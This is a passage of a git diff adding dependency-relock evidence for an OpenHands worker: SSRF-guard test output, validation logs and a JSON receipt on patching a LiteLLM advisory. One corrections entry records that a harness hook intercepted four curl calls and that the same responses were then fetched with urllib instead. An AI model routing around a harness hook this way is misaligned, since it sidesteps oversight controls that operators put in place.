(tests.test_openhands_150.OpenHands150Transport.test_completion_bridge_preserves_native_contract_and_restores_methods) ... ok +test_goal_adapter_keeps_native_loop_and_separate_judge_metrics (tests.test_openhands_150.OpenHands150Transport.test_goal_adapter_keeps_native_loop_and_separate_judge_metrics) ... ok +test_p3_native_tool_replay_and_query_denial_are_fixture_only (tests.test_openhands_150.OpenHands150Transport.test_p3_native_tool_replay_and_query_denial_are_fixture_only) ... ok + +---------------------------------------------------------------------- +Ran 12 tests in 5.841s + +OK diff --git a/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-source-validation-before-index.stdout.txt b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-source-validation-before-index.stdout.txt new file mode 100644 index 000000000..ce5aeb6c0 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-source-validation-before-index.stdout.txt @@ -0,0 +1,8 @@ +Publication validation failed: +blueprints/runtime-workers/openhands/README.md: SHA-256 mismatch +blueprints/runtime-workers/openhands/README.md: byte count mismatch +blueprints/runtime-workers/openhands/pins.json: SHA-256 mismatch +blueprints/runtime-workers/openhands/requirements.lock: SHA-256 mismatch +blueprints/runtime-workers/openhands/requirements.lock: byte count mismatch +tests/test_osv_lockfile_coverage.py: SHA-256 mismatch +tests/test_osv_lockfile_coverage.py: byte count mismatch diff --git a/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-unchanged-upstream-url-tests.stdout.txt b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-unchanged-upstream-url-tests.stdout.txt new file mode 100644 index 000000000..f3ecaf386 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-unchanged-upstream-url-tests.stdout.txt @@ -0,0 +1,88 @@ +Installed LiteLLM 1.93.2; pytest 9.0.3; pytest-asyncio 1.3.0 +installed litellm.__file__=/venv/lib/python3.13/site-packages/litellm/__init__.py +============================= test session starts ============================== +platform linux -- Python 3.13.15, pytest-9.0.3, pluggy-1.6.0 -- /venv/bin/python +cachedir: .pytest_cache +rootdir: +configfile: litellm-pyproject.toml +plugins: libtmux-0.53.0, asyncio-1.3.0, anyio-4.14.2 +asyncio: mode=Mode.AUTO, debug=False, asyncio_default_fixture_loop_scope=session, asyncio_default_test_loop_scope=function +collecting ... collected 68 items + +test_url_utils.py::TestIsBlockedIp::test_blocks_private PASSED [ 1%] +test_url_utils.py::TestIsBlockedIp::test_allows_public PASSED [ 2%] +test_url_utils.py::TestIsBlockedIp::test_unparseable_is_blocked PASSED [ 4%] +test_url_utils.py::TestIsBlockedIp::test_blocks_cgnat_alibaba_metadata PASSED [ 5%] +test_url_utils.py::TestIsBlockedIp::test_blocks_ietf_protocol_assignments_old_oracle_metadata PASSED [ 7%] +test_url_utils.py::TestIsBlockedIp::test_blocks_documentation_ranges PASSED [ 8%] +test_url_utils.py::TestIsBlockedIp::test_blocks_multicast PASSED [ 10%] +test_url_utils.py::TestIsBlockedIp::test_blocks_reserved_future_use PASSED [ 11%] +test_url_utils.py::TestIsBlockedIp::test_blocks_broadcast PASSED [ 13%] +test_url_utils.py::TestIsBlockedIp::test_blocks_azure_wire_server PASSED [ 14%] +test_url_utils.py::TestIsBlockedIp::test_blocks_aws_ipv6_imds PASSED [ 16%] +test_url_utils.py::TestIsBlockedIp::test_blocks_ipv4_mapped_private PASSED [ 17%] +test_url_utils.py::TestIsBlockedIp::test_blocks_ipv4_mapped_azure_wire_server PASSED [ 19%] +test_url_utils.py::TestEncodeUrlPathSegment::test_encodes_path_delimiters_and_query_markers PASSED [ 20%] +test_url_utils.py::TestEncodeUrlPathSegment::test_encodes_path_segments_without_collapsing_valid_model_paths PASSED [ 22%] +test_url_utils.py::TestEncodeUrlPathSegment::test_rejects_empty_and_dot_segments[] PASSED [ 23%] +test_url_utils.py::TestEncodeUrlPathSegment::test_rejects_empty_and_dot_segments[.] PASSED [ 25%] +test_url_utils.py::TestEncodeUrlPathSegment::test_rejects_empty_and_dot_segments[..] PASSED [ 26%] +test_url_utils.py::TestEncodeUrlPathSegment::test_rejects_empty_and_dot_segments[None] PASSED [ 27%] +test_url_utils.py::TestEncodeUrlPathSegment::test_rejects_dot_segments_in_multi_segment_paths[../model] PASSED [ 29%] +test_url_utils.py::TestEncodeUrlPathSegment::test_rejects_dot_segments_in_multi_segment_paths[model/../other] PASSED [ 30%] +test_url_utils.py::TestEncodeUrlPathSegment::test_rejects_dot_segments_in_multi_segment_paths[/model] PASSED [ 32%] +test_url_utils.py::TestValidateUrl::test_blocks_loopback PASSED [ 33%] +test_url_utils.py::TestValidateUrl::test_blocks_imds PASSED [ 35%] +test_url_utils.py::TestValidateUrl::test_blocks_rfc1918_class_a PASSED [ 36%] +test_url_utils.py::TestValidateUrl::test_blocks_rfc1918_class_b PASSED [ 38%] +test_url_utils.py::TestValidateUrl::test_blocks_rfc1918_class_c PASSED [ 39%] +test_url_utils.py::TestValidateUrl::test_blocks_file_scheme PASSED [ 41%] +test_url_utils.py::TestValidateUrl::test_blocks_ftp_scheme PASSED [ 42%] +test_url_utils.py::TestValidateUrl::test_blocks_no_hostname PASSED [ 44%] +test_url_utils.py::TestValidateUrl::test_allows_public_https PASSED [ 45%] +test_url_utils.py::TestValidateUrl::test_rewrites_public_http_to_ip PASSED [ 47%] +test_url_utils.py::TestValidateUrl::test_preserves_path_and_query PASSED [ 48%] +test_url_utils.py::TestValidateUrl::test_dns_failure_raises PASSED [ 50%] +test_url_utils.py::TestValidateUrl::test_blocks_localhost_hostname PASSED [ 51%] +test_url_utils.py::TestValidateUrl::test_blocks_ipv6_loopback PASSED [ 52%] +test_url_utils.py::TestValidateUrl::test_https_rewrites_when_ssl_verify_disabled PASSED [ 54%] +test_url_utils.py::TestValidateUrl::test_https_not_rewritten_when_ssl_verify_enabled PASSED [ 55%] +test_url_utils.py::TestHostHeaderFormatting::test_ipv4_no_port PASSED [ 57%] +test_url_utils.py::TestHostHeaderFormatting::test_ipv4_with_explicit_nondefault_port PASSED [ 58%] +test_url_utils.py::TestHostHeaderFormatting::test_ipv4_with_explicit_default_port_strips_port PASSED [ 60%] +test_url_utils.py::TestHostHeaderFormatting::test_ipv6_literal_is_bracketed_with_port PASSED [ 61%] +test_url_utils.py::TestHostHeaderFormatting::test_ipv6_literal_is_bracketed_without_port PASSED [ 63%] +test_url_utils.py::TestRedirectHostnamePreservation::test_relative_redirect_preserves_hostname_for_next_hop PASSED [ 64%] +test_url_utils.py::TestValidationMasterSwitch::test_disabled_bypasses_fetch_in_safe_get PASSED [ 66%] +test_url_utils.py::TestValidationMasterSwitch::test_enabled_still_blocks PASSED [ 67%] +test_url_utils.py::TestHostAllowlist::test_allowlisted_hostname_permits_private_ip PASSED [ 69%] +test_url_utils.py::TestHostAllowlist::test_non_allowlisted_hostname_still_blocked PASSED [ 70%] +test_url_utils.py::TestHostAllowlist::test_allowlist_case_insensitive PASSED [ 72%] +test_url_utils.py::TestHostAllowlist::test_allowlist_with_port_matches_explicit_port PASSED [ 73%] +test_url_utils.py::TestHostAllowlist::test_allowlist_with_port_matches_default_port PASSED [ 75%] +test_url_utils.py::TestHostAllowlist::test_allowlist_port_specific_does_not_match_other_port PASSED [ 76%] +test_url_utils.py::TestHostAllowlist::test_allowlist_host_entry_matches_any_port PASSED [ 77%] +test_url_utils.py::TestHostAllowlist::test_allowlist_permits_loopback PASSED [ 79%] +test_url_utils.py::TestHostAllowlist::test_empty_allowlist_retains_default_deny PASSED [ 80%] +test_url_utils.py::TestHostAllowlist::test_allowlist_strips_trailing_dot PASSED [ 82%] +test_url_utils.py::TestProviderUrlDestinationAllowlist::test_host_entry_matches_any_scheme_and_port PASSED [ 83%] +test_url_utils.py::TestProviderUrlDestinationAllowlist::test_origin_entry_matches_scheme_and_default_port PASSED [ 85%] +test_url_utils.py::TestProviderUrlDestinationAllowlist::test_port_entry_only_matches_same_effective_port PASSED [ 86%] +test_url_utils.py::TestProviderUrlDestinationAllowlist::test_rejects_userinfo_and_invalid_port PASSED [ 88%] +test_url_utils.py::test_assert_same_origin_matches_scheme_host_port PASSED [ 89%] +test_url_utils.py::test_assert_same_origin_treats_default_ports_as_explicit PASSED [ 91%] +test_url_utils.py::test_assert_same_origin_rejects_different_host PASSED [ 92%] +test_url_utils.py::test_assert_same_origin_rejects_different_scheme PASSED [ 94%] +test_url_utils.py::test_assert_same_origin_rejects_different_port PASSED [ 95%] +test_url_utils.py::test_assert_same_origin_rejects_non_http_scheme PASSED [ 97%] +test_url_utils.py::test_assert_same_origin_case_insensitive_host PASSED [ 98%] +test_url_utils.py::test_assert_same_origin_error_message_does_not_leak_hostnames PASSED [100%] + +=============================== warnings summary =============================== +venv/lib/python3.13/site-packages/_pytest/config/__init__.py:1309 + /venv/lib/python3.13/site-packages/_pytest/config/__init__.py:1309: PytestAssertRewriteWarning: Module already imported so cannot be rewritten; anyio + self._mark_plugins_for_rewrite(hook, disable_autoload) + +-- Docs: https://docs.pytest.org/en/stable/how-to/capture-warnings.html +======================== 68 passed, 1 warning in 0.08s ========================= +post-test litellm.__file__=/venv/lib/python3.13/site-packages/litellm/__init__.py diff --git a/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930.json b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930.json new file mode 100644 index 000000000..a87f8035e --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930.json @@ -0,0 +1,1550 @@ +{ + "schema_version": 1, + "record": "openhands-150-litellm-native-relock-20260930", + "observed_utc": "2026-09-30T22:04:53.859017+00:00", + "evidence_class": "source_package_qualification", + "status": "source_candidate_independent_review_pending", + "scope": "Published OpenHands SDK/tools 1.50.0 package closure on Linux x86_64 CPython 3.13.15 only.", + "baseline": { + "commit": "f7223996a58fee9f3cab52e8f1cef24f15e39228", + "requirements_sha256": "83293867247323c4d8fc463096e8a9c01dbee2ada5898112bbbb7d1a62a8b47a", + "previous_receipt": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930.json", + "previous_independent_review": "https://github.com/seathatflowsinourveins/native-agent-stack/blob/54d09ee8810ed98059347097277fcd9f8432de36/evidence/artifacts/openhands-oauthlib-review-535-head7c0df3-20260930/receipt.json", + "meaning": "Historical 832938 review and original successful scan remain unchanged; neither is a fresh independent review of this new lock." + }, + "research": { + "advisory": "GHSA-3cv6-jpf6-8222", + "cve": "CVE-2026-84377", + "github_database_published_utc": "2026-09-30T21:11:25Z", + "selected_branch_affected_range": ">=1.93.0,<1.93.2", + "patched": "1.93.2", + "repository": "https://github.com/BerriAI/litellm", + "tag": "v1.93.2", + "tag_commit": "cd1bd0f4b8af865f8d05fbd938392fdd4703babc", + "release_backport_pr": "https://github.com/BerriAI/litellm/pull/36318", + "patch_chronology": "The release backports adapted request-parameter/destination checks; do not infer ancestry from the advisory mainline commit 473f72e.", + "official_artifacts": [ + { + "filename": "litellm-1.93.2-cp313-cp313-manylinux_2_28_x86_64.whl", + "uploaded_utc": "2026-08-09T02:17:21.507108Z", + "sha256": "dee1b02b7f52a5a408bf7c8d499f0834e49194651743758a511dcdd926c0b692", + "url": "https://files.pythonhosted.org/packages/98/60/cb326e1094f7042f28f9e21543d9f367a8aa25af6915bf4253b77da5c2a2/litellm-1.93.2-cp313-cp313-manylinux_2_28_x86_64.whl" + }, + { + "filename": "litellm-1.93.2.tar.gz", + "uploaded_utc": "2026-08-09T02:17:49.646197Z", + "sha256": "c5d5223ef07f36e0886397fb45cc9db4150f86a0c6f6835cee1d5524cab69dfd", + "url": "https://files.pythonhosted.org/packages/97/dd/28024c0e4cf2dc6ab1bad59b8357af7f460e952c69526eae28f12ac4ee5e/litellm-1.93.2.tar.gz" + } + ], + "cutoff_instruction": "OpenHands/software-agent-sdk@395b94b0c3c4994f6c530f1e3bf3196f71fab950 pyproject.toml:8 says to bump or remove the LiteLLM-specific cutoff when upgrading past 1.93.0.", + "dependency_bounds": "dcf401af openhands-sdk/pyproject.toml allows litellm>=1.93.0; LiteLLM1.93.2 base aiohttp>=3.14.2 is satisfied by the retained aiohttp3.14.3 pin." + }, + "resolution": { + "target": "Linux x86_64 CPython 3.13.15 only", + "baseline_requirements_sha256": "83293867247323c4d8fc463096e8a9c01dbee2ada5898112bbbb7d1a62a8b47a", + "candidate_requirements_sha256": "38c20c899b8d7b08e03a04624daa17ba1fc353533fbff450bb0ac2bddd0832eb", + "baseline_control_byte_identical": true, + "explicit_no_config_recompile_byte_identical": true, + "declared_requirements": 176, + "changed_package_blocks": [ + "litellm" + ], + "other_package_blocks_byte_identical": 175, + "added": [], + "removed": [], + "installed_versions_checked": 176, + "version_mismatches": [], + "installed_distributions_including_build_and_test_tools": 182, + "qualification_tools": { + "pytest": "9.0.3", + "pytest-asyncio": "1.3.0", + "pluggy": "1.6.0", + "iniconfig": "2.3.0" + }, + "oauth_review_identities": [ + { + "path": "oauthlib/__init__.py", + "sha256": "ccbf8a40b750b21931f842b1b416e0bb5cb24e97f54d127b42d7da38eb1d5dc4" + }, + { + "path": "oauthlib/oauth1/__init__.py", + "sha256": "e3b84443bb3f1595cbc94b7a5d513e0cf0bcbd4315b0997bffe1c290d3362253" + }, + { + "path": "oauthlib/oauth2/__init__.py", + "sha256": "2bb207c3f04d0992d24d0a807d0aac2cad0ad3303afcaad00c2cdce12fb7de24" + }, + { + "path": "oauthlib/common.py", + "sha256": "39e686f928b00d7004b0ad5f921e4669b8123c68c6e0072ec2eab007986b1bf0" + }, + { + "path": "oauthlib/oauth2/rfc6749/endpoints/revocation.py", + "sha256": "ebc5248a9cfb50e75e04298ee4a4d1a34bf06d415df2d4c6db60a4d21165ba6c" + }, + { + "path": "oauthlib/oauth2/rfc6749/grant_types/authorization_code.py", + "sha256": "0d6931601c4e88a078fb3ccf5f052c035ad6a4bb2171efb9c218e088a7272dc6" + }, + { + "path": "oauthlib/oauth2/rfc6749/endpoints/pre_configured.py", + "sha256": "6fe072e29e94f0bb6fa65bf8a223893b2702e8d77c52494b389f75bb3ebc6316" + }, + { + "path": "oauthlib/openid/connect/core/endpoints/pre_configured.py", + "sha256": "bc6ff1a5fa23c2dcc3a782125e13d93355e73abf2e4fadc406b86ebce121e7ee" + }, + { + "path": "func_timeout/py2_raise.py", + "sha256": "19d989963807de3847a00bbe90337fd9100a79cee4327683b601e4bc96225b77" + } + ], + "official_sdist_name_reviews": [ + { + "version": "1.93.0", + "archive_sha256": "140bf215e264c71601bca9c06d2436c5451bb59e1e195ea23fc2d3d87b6929ec", + "python_sources": 2104, + "advisory_name_hits": [], + "parse_errors": [] + }, + { + "version": "1.93.2", + "archive_sha256": "c5d5223ef07f36e0886397fb45cc9db4150f86a0c6f6835cee1d5524cab69dfd", + "python_sources": 2104, + "advisory_name_hits": [], + "parse_errors": [] + } + ], + "candidate_wheel_sha256": "dee1b02b7f52a5a408bf7c8d499f0834e49194651743758a511dcdd926c0b692", + "candidate_python_sources_compared": 2104, + "wheel_to_installed_mismatches": [], + "wheel_to_sdist_mismatches": [], + "native_imports_passed": true, + "limitations": [ + "Static name/AST review does not prove semantic or dynamic unreachability.", + "One compiled LiteLLM extension is not assessed by the Python source scan.", + "No proxy-server, provider, model, image, host deployment or task-quality execution." + ], + "sdk_commit": "dcf401af7a9a302ef92cb7d092e1df9bb659daa5", + "uv_version": "0.12.17", + "requirements_sha256": "38c20c899b8d7b08e03a04624daa17ba1fc353533fbff450bb0ac2bddd0832eb", + "captured_inputs": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-captured-inputs.json" + }, + "native_install": { + "fresh_owned_venv": true, + "hash_required_build_install_exit": 0, + "hash_required_runtime_install_exit": 0, + "pip_check_before_and_after_test_tools_exit": 0, + "distributions_before_test_tools": 178, + "distributions_after_test_tools": 182, + "runtime_requirements_count": 176, + "qualification_tools_outside_runtime_lock": true, + "sdk_local_fixtures": { + "tests": 12, + "skips": 0, + "exit_code": 0, + "meaning": "Existing repository fixtures against real SDK objects with model calls patched." + } + }, + "unchanged_upstream_module": { + "repository": "https://github.com/BerriAI/litellm", + "commit": "cd1bd0f4b8af865f8d05fbd938392fdd4703babc", + "file": "tests/test_litellm/litellm_core_utils/test_url_utils.py", + "source_sha256": "f8bffa71eab0df126893c63a6dc0ee187d0b14ca53baf4c1ae165bef69fd9973", + "config": "pyproject.toml", + "config_sha256": "71d153eb3fb27613f6b7177924a703bc5b50d2ee4523df3bf2dc5949e9908217", + "pytest": "9.0.3", + "pytest_asyncio": "1.3.0", + "tests_passed": 68, + "skipped": 0, + "exit_code": 0, + "warning": "PytestAssertRewriteWarning: anyio was already imported.", + "method": "Unmodified module/config, neutral cwd, append import mode and before/after in-process installed LiteLLM identity assertions.", + "limits": "Bounded upstream URL helper module only; complete workspace/proxy/authenticated routing and provider execution were not run." + }, + "osv": { + "version": "2.6.0", + "binary_sha256": "ca69b3d3cd08f889a49dc0a383122f71cc528b83803671df5fd874d97485b108", + "configuration_sha256": "ddff1691844ce7c76d2d1860046074f46aac320f62f35278d508b948184849f8", + "recognized_requirements": 174, + "baseline_configured_exit_code": 1, + "baseline_configured_ids": [ + "GHSA-3cv6-jpf6-8222" + ], + "baseline_empty_exit_code": 1, + "baseline_empty_ids": [ + "GHSA-3cv6-jpf6-8222", + "GHSA-hj66-6f7g-4r5v", + "GHSA-xpv3-w29h-x7cv" + ], + "candidate_configured_exit_code": 0, + "candidate_configured_ids": [], + "candidate_empty_exit_code": 1, + "candidate_empty_ids": [ + "GHSA-hj66-6f7g-4r5v", + "GHSA-xpv3-w29h-x7cv" + ], + "configuration_ignored_ids_and_expiries_unchanged": true, + "whole_inventory_workflow": "Not newly executed here; later exact-step/current-head checks belong to the coordinator." + }, + "oauthlib_exact_target_review": { + "requirements_sha256": "38c20c899b8d7b08e03a04624daa17ba1fc353533fbff450bb0ac2bddd0832eb", + "version": "3.3.1", + "target": "Linux x86_64 CPython3.13.15 only", + "fresh_maintained_scan_exit": 0, + "fresh_alias_scan_exit": 0, + "installed_python_sources_scanned": 10772, + "recipe_python_sources_scanned": 12, + "initial_pre_test_tools_source_scan_count": 10684, + "final_caller_scans": [ + "maintained-jwt-callers-after-test-tools", + "oauthlib-alias-callers-after-test-tools" + ], + "unhandled_parse_errors": 0, + "unchanged_source_identities": [ + { + "path": "oauthlib/__init__.py", + "sha256": "ccbf8a40b750b21931f842b1b416e0bb5cb24e97f54d127b42d7da38eb1d5dc4" + }, + { + "path": "oauthlib/oauth1/__init__.py", + "sha256": "e3b84443bb3f1595cbc94b7a5d513e0cf0bcbd4315b0997bffe1c290d3362253" + }, + { + "path": "oauthlib/oauth2/__init__.py", + "sha256": "2bb207c3f04d0992d24d0a807d0aac2cad0ad3303afcaad00c2cdce12fb7de24" + }, + { + "path": "oauthlib/common.py", + "sha256": "39e686f928b00d7004b0ad5f921e4669b8123c68c6e0072ec2eab007986b1bf0" + }, + { + "path": "oauthlib/oauth2/rfc6749/endpoints/revocation.py", + "sha256": "ebc5248a9cfb50e75e04298ee4a4d1a34bf06d415df2d4c6db60a4d21165ba6c" + }, + { + "path": "oauthlib/oauth2/rfc6749/grant_types/authorization_code.py", + "sha256": "0d6931601c4e88a078fb3ccf5f052c035ad6a4bb2171efb9c218e088a7272dc6" + }, + { + "path": "oauthlib/oauth2/rfc6749/endpoints/pre_configured.py", + "sha256": "6fe072e29e94f0bb6fa65bf8a223893b2702e8d77c52494b389f75bb3ebc6316" + }, + { + "path": "oauthlib/openid/connect/core/endpoints/pre_configured.py", + "sha256": "bc6ff1a5fa23c2dcc3a782125e13d93355e73abf2e4fadc406b86ebce121e7ee" + }, + { + "path": "func_timeout/py2_raise.py", + "sha256": "19d989963807de3847a00bbe90337fd9100a79cee4327683b601e4bc96225b77" + } + ], + "fresh_litellm_complete_official_python_sources": [ + { + "version": "1.93.0", + "archive_sha256": "140bf215e264c71601bca9c06d2436c5451bb59e1e195ea23fc2d3d87b6929ec", + "python_sources": 2104, + "advisory_name_hits": [], + "parse_errors": [] + }, + { + "version": "1.93.2", + "archive_sha256": "c5d5223ef07f36e0886397fb45cc9db4150f86a0c6f6835cee1d5524cab69dfd", + "python_sources": 2104, + "advisory_name_hits": [], + "parse_errors": [] + } + ], + "caller_conclusion": "Six requests_oauthlib client/helper importer files remain; the new LiteLLM Python source scan adds no OAuthlib/advisory-name caller.", + "limits": "Static name/AST/alias review, with text-only Python2 helper and existing method limits; no semantic/dynamic unreachability or authorization-server trace. One compiled LiteLLM extension is outside the Python source scan.", + "independent_current_candidate_review": "Pending; historical #558/#537 do not automatically carry to the new digest." + }, + "retained_attempts_and_corrections": [ + "Original 832938 successful scan remains dated; the new database advisory is retained as a fresh failing baseline, not erased.", + "A speculative scripts/check_openhands_oauthlib.py read found no file; rg located the actual guard tests/test_osv_lockfile_coverage.py.", + "Four attempted curl captures were intercepted before execution by the context-mode hook; no native fetch/exit claim uses those calls. Primary responses were then actually captured with native urllib.request, outside model output.", + "Initial qualification-tool preparation reused pytest8.4.2 from the previous relock. Tagged LiteLLM pyproject pins9.0.3/asyncio1.3; those exact versions were installed before any upstream test execution. The preparation is retained in the ledger." + ], + "execution_boundary": { + "model_trials_performed": false, + "provider_usage": null, + "runtime_image_built_or_executed": false, + "proxy_server_executed": false, + "host_deploy_or_config_change": false, + "gateway_or_credentials_changed": false, + "upstream_workspace_or_lock_changed": false + }, + "repository_checks_before_shared_registration": { + "focused_guard_tests": { + "tests": 38, + "skips": 0, + "exit_code": 0 + }, + "source_whitespace_check_exit_code": 0, + "full_validate_py_exit_code": 1, + "returned_condition": "Only SHA/byte-count mismatches for the four owned existing files; the shared evidence index remains at the immutable base and is intentionally coordinator-owned.", + "mismatched_existing_paths": [ + "blueprints/runtime-workers/openhands/README.md", + "blueprints/runtime-workers/openhands/pins.json", + "blueprints/runtime-workers/openhands/requirements.lock", + "tests/test_osv_lockfile_coverage.py" + ], + "required_closure": "Coordinator registers the owned source/new artifacts and runs fresh validation on the integrated exact head." + }, + "late_repository_checks": { + "publication_private_content_scan": { + "native_command": "python3 scripts/validate.py --scan-file ", + "exit_code": 0, + "scanned_files": 44, + "original_stdout_sha256": "0d4c5ca9e76868371c22d2de1419a5259e918eea3344f8edac40a812b131bdc1" + }, + "complete_staged_whitespace_check": { + "native_command": "git diff --cached --check", + "exit_code": 2, + "original_stdout_sha256": "1232834c179f04703c4dc2970c69e3dfa8bbce5ab565403b0c90c2e95b80390d", + "condition": "Exactly three SHA-bound original native return artifacts contain trailing whitespace or an original final blank line; their bytes are preserved.", + "original_artifacts": [ + "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-exact-runtime-and-source-identities.stderr.txt", + "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-oauthlib-alias-callers-after-test-tools.stdout.txt", + "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-oauthlib-alias-callers.stdout.txt" + ] + }, + "staged_whitespace_excluding_only_the_three_bound_native_artifacts": { + "exit_code": 0, + "method": "Native git diff --cached --check with exact exclude pathspecs for the three artifacts named above; no repository policy, ignore or artifact bytes changed." + } + }, + "remaining_gates": [ + "Fresh independent review of the exact candidate and current required hosted checks.", + "The unchanged upstream workspace root/uv.lock and pinned image retain earlier LiteLLM; frozen workspace/image execution is not covered by this package compile.", + "Full-image 56 High/Critical findings, provider/P3, trusted observer, frozen task-quality, compression and whole-task metering remain open." + ], + "command_ledger": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-commands.json", + "checks": [ + { + "id": "native-control-compile", + "exit_code": 0, + "original_streams": { + "stdout": { + "file": "native-control-compile.stdout.txt", + "bytes": 248359, + "sha256": "83293867247323c4d8fc463096e8a9c01dbee2ada5898112bbbb7d1a62a8b47a" + }, + "stderr": { + "file": "native-control-compile.stderr.txt", + "bytes": 31, + "sha256": "918ec0e68c8174d18812542792848a8b201a0e824dbb0e25d2f67f2262ef9b8e" + } + }, + "public_returned_output": { + "stdout": { + "reuse_exact_lock_bytes": true, + "sha256": "83293867247323c4d8fc463096e8a9c01dbee2ada5898112bbbb7d1a62a8b47a", + "bytes": 248359, + "source": "f7223996a58fee9f3cab52e8f1cef24f15e39228:blueprints/runtime-workers/openhands/requirements.lock" + }, + "stderr": { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-native-control-compile.stderr.txt", + "sha256": "918ec0e68c8174d18812542792848a8b201a0e824dbb0e25d2f67f2262ef9b8e", + "bytes": 31, + "sanitization": "Declared path substitutions only; no test or command source was changed." + } + } + }, + { + "id": "baseline-osv-empty-config", + "exit_code": 1, + "original_streams": { + "stdout": { + "file": "baseline-osv-empty-config.stdout.txt", + "bytes": 57700, + "sha256": "01763bc8d57e433c856c21fb09a81e73e5ee7220cce68fa7989a9d3ae8e5a3f3" + }, + "stderr": { + "file": "baseline-osv-empty-config.stderr.txt", + "bytes": 226, + "sha256": "1986c08a0e77938a884f67dacad1653b184be045f6badfe045977a1d987f8a22" + } + }, + "public_returned_output": { + "stdout": { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-baseline-osv-empty-config.stdout.txt", + "sha256": "b7eedfbee6122774031a30c319f714d849c5c1cf23abb9dda493403524a30c7f", + "bytes": 57685, + "sanitization": "Declared path substitutions only; no test or command source was changed." + }, + "stderr": { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-baseline-osv-empty-config.stderr.txt", + "sha256": "5badffe477826da86e599f6e3b4eda2197a4ac0535ecf3be64cb255064198f73", + "bytes": 211, + "sanitization": "Declared path substitutions only; no test or command source was changed." + } + } + }, + { + "id": "baseline-osv-current-config", + "exit_code": 1, + "original_streams": { + "stdout": { + "file": "baseline-osv-current-config.stdout.txt", + "bytes": 38003, + "sha256": "18c895d7dee9adcf9f35ca42eea01e9dffd49e07e5d9c6c563b399bfb73d5ad9" + }, + "stderr": { + "file": "baseline-osv-current-config.stderr.txt", + "bytes": 3660, + "sha256": "d4c6730ef46290118bca06ebf4b544933cd041a2a08dabfc0486a9cd0ae702c3" + } + }, + "public_returned_output": { + "stdout": { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-baseline-osv-current-config.stdout.txt", + "sha256": "a92e835298713c688fe1cec4e6dce17342294e5d82500617f08adefdb6f81bc8", + "bytes": 37988, + "sanitization": "Declared path substitutions only; no test or command source was changed." + }, + "stderr": { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-baseline-osv-current-config.stderr.txt", + "sha256": "7de52e31d1f445e1709affba57e0707156ad7825b3090a91e516fd1b334bbe1a", + "bytes": 3630, + "sanitization": "Declared path substitutions only; no test or command source was changed." + } + } + }, + { + "id": "scanner-version", + "exit_code": 0, + "original_streams": { + "stdout": { + "file": "scanner-version.stdout.txt", + "bytes": 134, + "sha256": "e0bc7fa9d9b902f5179238abc870bc238c6f119e8c4c0b58b63fd26289fc5ea7" + }, + "stderr": { + "file": "scanner-version.stderr.txt", + "bytes": 0, + "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + } + }, + "public_returned_output": { + "stdout": { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-scanner-version.stdout.txt", + "sha256": "e0bc7fa9d9b902f5179238abc870bc238c6f119e8c4c0b58b63fd26289fc5ea7", + "bytes": 134, + "sanitization": "Declared path substitutions only; no test or command source was changed." + }, + "stderr": { + "empty_original_stream": true + } + } + }, + { + "id": "litellm-primary-pypi", + "exit_code": 0, + "original_streams": { + "stdout": { + "file": "litellm-primary-pypi.stdout.txt", + "bytes": 72340, + "sha256": "819d3bd8d22fc404a9ad0bcf83568917de56c9e7767e678a3c3f2594d37a459d" + }, + "stderr": { + "file": "litellm-primary-pypi.stderr.txt", + "bytes": 0, + "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + } + }, + "public_returned_output": { + "stdout": { + "kept_private": true, + "reason": "Original primary-source response; immutable URLs and source/input digests are recorded separately." + }, + "stderr": { + "empty_original_stream": true + } + } + }, + { + "id": "litellm-primary-advisory", + "exit_code": 0, + "original_streams": { + "stdout": { + "file": "litellm-primary-advisory.stdout.txt", + "bytes": 4347, + "sha256": "37cd0a9ca583552d0f5555a4cb4fa4f3567ebb4db0490b9d3b9b66c28781f908" + }, + "stderr": { + "file": "litellm-primary-advisory.stderr.txt", + "bytes": 0, + "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + } + }, + "public_returned_output": { + "stdout": { + "kept_private": true, + "reason": "Original primary-source response; immutable URLs and source/input digests are recorded separately." + }, + "stderr": { + "empty_original_stream": true + } + } + }, + { + "id": "litellm-primary-release", + "exit_code": 0, + "original_streams": { + "stdout": { + "file": "litellm-primary-release.stdout.txt", + "bytes": 3276, + "sha256": "a97cad1854a7b10c79a2999cd4d075da68ed9d216fbfd62d26799ef336b55f84" + }, + "stderr": { + "file": "litellm-primary-release.stderr.txt", + "bytes": 0, + "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + } + }, + "public_returned_output": { + "stdout": { + "kept_private": true, + "reason": "Original primary-source response; immutable URLs and source/input digests are recorded separately." + }, + "stderr": { + "empty_original_stream": true + } + } + }, + { + "id": "litellm-primary-backport", + "exit_code": 0, + "original_streams": { + "stdout": { + "file": "litellm-primary-backport.stdout.txt", + "bytes": 25369, + "sha256": "eb569433c26075bb360b2259f707b58959558068642c72bc5c581050dd4cf215" + }, + "stderr": { + "file": "litellm-primary-backport.stderr.txt", + "bytes": 0, + "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + } + }, + "public_returned_output": { + "stdout": { + "kept_private": true, + "reason": "Original primary-source response; 